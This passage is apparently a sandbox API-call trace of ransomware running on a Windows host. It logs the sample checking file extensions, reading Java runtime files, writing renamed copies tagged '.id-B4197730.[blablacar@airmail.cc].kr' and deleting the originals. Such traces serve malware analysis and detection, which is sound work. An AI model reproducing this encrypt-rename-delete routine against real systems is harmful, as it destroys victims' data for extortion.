[0177.831] lstrlenW (lpString=".bz2") returned 4 [0177.831] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0177.831] lstrlenW (lpString=".7z") returned 3 [0177.831] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0177.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.831] lstrlenW (lpString=".dbf") returned 4 [0177.831] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0177.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.831] lstrlenW (lpString=".1cd") returned 4 [0177.831] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0177.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.831] lstrlenW (lpString=".jpg") returned 4 [0177.831] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0177.831] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0177.831] lstrlenW (lpString="charsets.jar") returned 12 [0177.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.832] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3036922) returned 1 [0177.832] CloseHandle (hObject=0x3e8) returned 1 [0177.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0177.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0177.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.833] lstrlenW (lpString=".doc") returned 4 [0177.833] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0177.833] lstrlenW (lpString=".docx") returned 5 [0177.833] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0177.833] lstrlenW (lpString=".pdf") returned 4 [0177.833] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0177.833] lstrlenW (lpString=".xls") returned 4 [0177.833] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0177.833] lstrlenW (lpString=".xlsx") returned 5 [0177.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0177.833] lstrlenW (lpString=".ppt") returned 4 [0177.833] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0177.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.833] lstrlenW (lpString=".zip") returned 4 [0177.834] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0177.834] lstrlenW (lpString=".rar") returned 4 [0177.834] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0177.834] lstrlenW (lpString=".bz2") returned 4 [0177.834] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0177.834] lstrlenW (lpString=".7z") returned 3 [0177.834] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.834] lstrlenW (lpString=".dbf") returned 4 [0177.834] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.834] lstrlenW (lpString=".1cd") returned 4 [0177.834] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.834] lstrlenW (lpString=".jpg") returned 4 [0177.834] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.834] lstrlenW (lpString=".doc") returned 4 [0177.834] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0177.834] lstrlenW (lpString=".docx") returned 5 [0177.834] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0177.834] lstrlenW (lpString=".pdf") returned 4 [0177.834] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0177.834] lstrlenW (lpString=".xls") returned 4 [0177.834] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0177.834] lstrlenW (lpString=".xlsx") returned 5 [0177.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0177.834] lstrlenW (lpString=".ppt") returned 4 [0177.834] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.834] lstrlenW (lpString=".zip") returned 4 [0177.835] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0177.835] lstrlenW (lpString=".rar") returned 4 [0177.835] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0177.835] lstrlenW (lpString=".bz2") returned 4 [0177.835] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0177.835] lstrlenW (lpString=".7z") returned 3 [0177.835] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0177.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.835] lstrlenW (lpString=".dbf") returned 4 [0177.835] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0177.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.835] lstrlenW (lpString=".1cd") returned 4 [0177.835] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0177.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0177.835] lstrlenW (lpString=".jpg") returned 4 [0177.835] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0177.835] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".kr") returned -1 [0177.835] lstrlenW (lpString="classlist") returned 9 [0177.835] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.836] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=84355) returned 1 [0177.836] CloseHandle (hObject=0x3e8) returned 1 [0177.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0177.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.836] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.836] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0177.839] GetLastError () returned 0x0 [0177.839] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x14983, lpOverlapped=0x0) returned 1 [0177.843] WriteFile (in: hFile=0x408, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x14990, lpOverlapped=0x0) returned 1 [0177.845] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.845] WriteFile (in: hFile=0x408, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe6, lpOverlapped=0x0) returned 1 [0177.845] SetEndOfFile (hFile=0x408) returned 1 [0177.845] CloseHandle (hObject=0x408) returned 1 [0177.848] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.848] SetEndOfFile (hFile=0x3e8) returned 1 [0177.853] CloseHandle (hObject=0x3e8) returned 1 [0177.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0177.854] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0177.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.854] lstrlenW (lpString=".doc") returned 4 [0177.854] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0177.855] lstrlenW (lpString=".docx") returned 5 [0177.855] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0177.855] lstrlenW (lpString=".pdf") returned 4 [0177.855] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0177.855] lstrlenW (lpString=".xls") returned 4 [0177.855] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0177.855] lstrlenW (lpString=".xlsx") returned 5 [0177.855] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0177.855] lstrlenW (lpString=".ppt") returned 4 [0177.855] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.855] lstrlenW (lpString=".zip") returned 4 [0177.855] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0177.855] lstrlenW (lpString=".rar") returned 4 [0177.855] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0177.855] lstrlenW (lpString=".bz2") returned 4 [0177.855] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0177.855] lstrlenW (lpString=".7z") returned 3 [0177.855] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.855] lstrlenW (lpString=".dbf") returned 4 [0177.855] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.855] lstrlenW (lpString=".1cd") returned 4 [0177.855] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.855] lstrlenW (lpString=".jpg") returned 4 [0177.855] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.855] lstrlenW (lpString=".doc") returned 4 [0177.855] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0177.856] lstrlenW (lpString=".docx") returned 5 [0177.856] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0177.856] lstrlenW (lpString=".pdf") returned 4 [0177.856] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0177.856] lstrlenW (lpString=".xls") returned 4 [0177.856] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0177.856] lstrlenW (lpString=".xlsx") returned 5 [0177.856] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0177.856] lstrlenW (lpString=".ppt") returned 4 [0177.856] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.856] lstrlenW (lpString=".zip") returned 4 [0177.856] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0177.856] lstrlenW (lpString=".rar") returned 4 [0177.856] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0177.856] lstrlenW (lpString=".bz2") returned 4 [0177.856] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0177.856] lstrlenW (lpString=".7z") returned 3 [0177.856] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.856] lstrlenW (lpString=".dbf") returned 4 [0177.856] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.856] lstrlenW (lpString=".1cd") returned 4 [0177.856] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0177.856] lstrlenW (lpString=".jpg") returned 4 [0177.856] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0177.856] lstrcmpiW (lpString1=".pf", lpString2=".kr") returned 1 [0177.857] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0177.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.857] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=51236) returned 1 [0177.857] CloseHandle (hObject=0x3e8) returned 1 [0177.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0177.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.858] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.858] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.858] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0178.078] GetLastError () returned 0x0 [0178.078] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xc824, lpOverlapped=0x0) returned 1 [0178.084] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xc830, lpOverlapped=0x0) returned 1 [0178.086] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.086] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe6, lpOverlapped=0x0) returned 1 [0178.086] SetEndOfFile (hFile=0x450) returned 1 [0178.086] CloseHandle (hObject=0x450) returned 1 [0178.089] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.089] SetEndOfFile (hFile=0x3e8) returned 1 [0178.093] CloseHandle (hObject=0x3e8) returned 1 [0178.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.094] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0178.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.094] lstrlenW (lpString=".doc") returned 4 [0178.094] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0178.094] lstrlenW (lpString=".docx") returned 5 [0178.094] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0178.094] lstrlenW (lpString=".pdf") returned 4 [0178.094] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0178.094] lstrlenW (lpString=".xls") returned 4 [0178.095] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString=".xlsx") returned 5 [0178.095] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0178.095] lstrlenW (lpString=".ppt") returned 4 [0178.095] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.095] lstrlenW (lpString=".zip") returned 4 [0178.095] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString=".rar") returned 4 [0178.095] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString=".bz2") returned 4 [0178.095] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString=".7z") returned 3 [0178.095] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.095] lstrlenW (lpString=".dbf") returned 4 [0178.095] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.095] lstrlenW (lpString=".1cd") returned 4 [0178.095] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.095] lstrlenW (lpString=".jpg") returned 4 [0178.095] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.095] lstrlenW (lpString=".doc") returned 4 [0178.095] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString=".docx") returned 5 [0178.095] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0178.095] lstrlenW (lpString=".pdf") returned 4 [0178.095] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0178.095] lstrlenW (lpString=".xls") returned 4 [0178.095] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString=".xlsx") returned 5 [0178.096] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0178.096] lstrlenW (lpString=".ppt") returned 4 [0178.096] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.096] lstrlenW (lpString=".zip") returned 4 [0178.096] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString=".rar") returned 4 [0178.096] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString=".bz2") returned 4 [0178.096] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString=".7z") returned 3 [0178.096] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.096] lstrlenW (lpString=".dbf") returned 4 [0178.096] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.096] lstrlenW (lpString=".1cd") returned 4 [0178.096] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0178.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0178.096] lstrlenW (lpString=".jpg") returned 4 [0178.096] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0178.096] lstrcmpiW (lpString1=".pf", lpString2=".kr") returned 1 [0178.096] lstrlenW (lpString="GRAY.pf") returned 7 [0178.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0178.097] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=632) returned 1 [0178.097] CloseHandle (hObject=0x3e8) returned 1 [0178.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0178.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0178.097] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.097] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0178.098] GetLastError () returned 0x0 [0178.098] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x278, lpOverlapped=0x0) returned 1 [0178.099] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x280, lpOverlapped=0x0) returned 1 [0178.100] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.100] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe2, 